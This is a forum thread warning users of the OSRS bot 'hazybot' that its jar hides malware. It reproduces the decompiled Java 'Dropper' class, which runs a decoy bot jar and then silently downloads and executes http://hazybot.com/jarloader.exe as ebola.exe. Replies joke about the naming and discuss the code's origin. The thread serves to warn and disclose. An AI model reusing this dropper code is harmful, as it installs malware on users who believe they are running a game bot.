Thread: To anyone who uses hazybot [OSRS]

Page 1 of 2 12 LastLast
Results 1 to 10 of 13
  1. #1 To anyone who uses hazybot [OSRS] 
    Member

    Join Date
    Nov 2008
    Age
    27
    Posts
    4,859
    Thanks given
    774
    Thanks received
    341
    Rep Power
    0
    Code:
    package ebola;
    
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.io.PrintStream;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLConnection;
    import java.nio.file.CopyOption;
    import java.nio.file.Files;
    
    public class Dropper
    {
      public static final String URL = "http://hazybot.com/jarloader.exe";
      private static final int TEMP_DIR_ATTEMPTS = 10000;
      
      public static void main(String[] args)
        throws MalformedURLException, IOException, InterruptedException
      {
        File file = new File("running.jar");
        if (!file.exists())
        {
          InputStream link = Dropper.class.getResourceAsStream("osbot.jar");
          Files.copy(link, file.getAbsoluteFile().toPath(), new CopyOption[0]);
        }
        Runtime.getRuntime().exec("java -jar running.jar");
        
        File tempDir = createTempDir();
        String s = tempDir.toString() + "\\ebola.exe";
        File f = new File(s);
        
        URLConnection c = new URL("http://hazybot.com/jarloader.exe").openConnection();
        
        byte[] buffer = new byte['?'];
        int n = -1;
        
        OutputStream output = new FileOutputStream(f);
        while ((n = c.getInputStream().read(buffer)) != -1) {
          if (n > 0) {
            output.write(buffer, 0, n);
          }
        }
        output.close();
        
        System.out.println(f.toString());
        
        Process p = Runtime.getRuntime().exec(f.toString());
        
        p.waitFor();
        System.out.println(p.exitValue());
      }
      
      public static File createTempDir()
      {
        File baseDir = new File(System.getProperty("java.io.tmpdir"));
        String baseName = System.currentTimeMillis() + "-";
        for (int counter = 0; counter < 10000; counter++)
        {
          File tempDir = new File(baseDir, baseName + counter);
          if (tempDir.mkdir()) {
            return tempDir;
          }
        }
        throw new IllegalStateException("Failed to create directory within 10000 attempts (tried " + 
          baseName + "0 to " + 
          baseName + 9999 + ')');
      }
    }
    Downloaded the exe and Avast detected it as a DRep for whatever that means

    not my find, someone on powerbot, thought I should post here for anyone
    Reply With Quote  
     

  2. #2  
    Officially Retired

    Huey's Avatar
    Join Date
    Jan 2008
    Age
    22
    Posts
    16,478
    Thanks given
    3,385
    Thanks received
    7,727
    Rep Power
    5000
    I'm more concerned about


    > package ebola;

    Good find tho.
    Attached image
    Listen children don't become this guy.
    Quote Originally Posted by Owner Spikey View Post
    Why can I attack lower level npc's in a matter of a mouse hover but for a higher level npc the only choice to attack is by right clicking option attack?

    Reply With Quote  
     


  3. #3  
    Registered Member

    Join Date
    Jun 2013
    Posts
    1,083
    Thanks given
    78
    Thanks received
    162
    Rep Power
    104
    Quote Originally Posted by Huey View Post
    I'm more concerned about


    > package ebola;

    Good find tho.
    Same LOL
    Reply With Quote  
     

  4. #4  
    Banned

    Join Date
    Jul 2015
    Posts
    607
    Thanks given
    520
    Thanks received
    660
    Rep Power
    0
    Quote Originally Posted by Huey View Post
    I'm more concerned about


    > package ebola;

    Good find tho.



    Quote Originally Posted by The Illest View Post
    Same LOL
    Yeah, me too, lol.
    Reply With Quote  
     

  5. #5  
    Member

    Join Date
    Nov 2008
    Age
    27
    Posts
    4,859
    Thanks given
    774
    Thanks received
    341
    Rep Power
    0
    Quote Originally Posted by Huey View Post
    I'm more concerned about


    > package ebola;

    Good find tho.
    String s = tempDir.toString() + "\\ebola.exe";
    Reply With Quote  
     

  6. #6  
    Banned

    Join Date
    Mar 2011
    Posts
    4,062
    Thanks given
    194
    Thanks received
    689
    Rep Power
    0
    Wait I'm confused - is this straight from the bot? If so, did they actually include source code in the release or did someone just refactor it
    Reply With Quote  
     

  7. #7  
    Banned

    Join Date
    Jul 2015
    Posts
    607
    Thanks given
    520
    Thanks received
    660
    Rep Power
    0
    Quote Originally Posted by relex lawl View Post
    Wait I'm confused - is this straight from the bot? If so, did they actually include source code in the release or did someone just refactor it
    IIRC it's straight from the bot, someone on Powerbot found it, probably refactored.
    Reply With Quote  
     

  8. #8  
    The Age of Creation First Age's Avatar
    Join Date
    Feb 2015
    Posts
    267
    Thanks given
    12
    Thanks received
    49
    Rep Power
    37
    Thank you for the warning, however I am not the least bit surprised.
    Reply With Quote  
     

  9. #9  
    Member

    Join Date
    Nov 2008
    Age
    27
    Posts
    4,859
    Thanks given
    774
    Thanks received
    341
    Rep Power
    0
    Quote Originally Posted by relex lawl View Post
    Wait I'm confused - is this straight from the bot? If so, did they actually include source code in the release or did someone just refactor it
    i downloaded it and found dropper.class which is the shit containing the virus the osbot.jar inside the jar file
    Reply With Quote  
     

  10. #10  
    Registered Member

    Join Date
    Sep 2014
    Posts
    2,080
    Thanks given
    3,003
    Thanks received
    1,114
    Rep Power
    5000
    Lol, i saw a guy advertising it at lummy bank
    Reply With Quote  
     

Page 1 of 2 12 LastLast

Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Similar Threads

  1. Replies: 2
    Last Post: 10-18-2011, 11:47 AM
  2. Replies: 3
    Last Post: 08-16-2011, 05:43 AM
  3. Replies: 2
    Last Post: 07-23-2011, 09:20 AM
  4. Replies: 3
    Last Post: 02-09-2010, 11:07 PM
  5. Replies: 9
    Last Post: 05-23-2009, 12:48 AM
Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •